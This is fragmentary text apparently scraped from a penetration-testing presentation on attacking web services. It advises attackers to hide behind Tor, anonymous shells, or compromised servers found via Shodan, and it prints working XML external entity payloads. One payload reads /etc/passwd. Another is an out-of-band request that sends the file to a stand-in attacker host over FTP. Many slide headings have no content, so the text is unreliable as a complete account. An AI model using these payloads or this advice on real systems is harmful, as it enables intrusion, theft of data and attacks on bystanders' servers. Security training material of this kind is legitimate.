To achieve the maximum anonymity, the attacker has various choices:
Use Tor/I2P anonymization networks
Hack any Internet vulnerable server (there are millions, use Shodan)
Use anonymous shell accounts (freeshell.eu)
The attacker has to be aware of
Note: We have no credentials, no logins, no passwords - let's find existing ones using the wordlist of commonly used English usernames
Naive XML parsers that blindly interpret the DTD of the user supplied XML documents
Let's try to construct the injection string:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
Potential Impact:
POST /service/ss HTTP/1.1
Content-Type: text/xml
Connection: close
<!DOCTYPE r [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % connect SYSTEM "http://x.x.x.x:y/a.dtd">
%connect;
%param1;
%send;
]>
a.dtd:
<!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://x.x.x.x:y/%data;'>">
The attacker is mainly interested in:
Hashes are invaluable source for the attacker doing cracking by using:
Gaining the privileges of local user (apache, www-data, webuser):
Gaining the privileges of root:
pavol.luptak@nethemba.com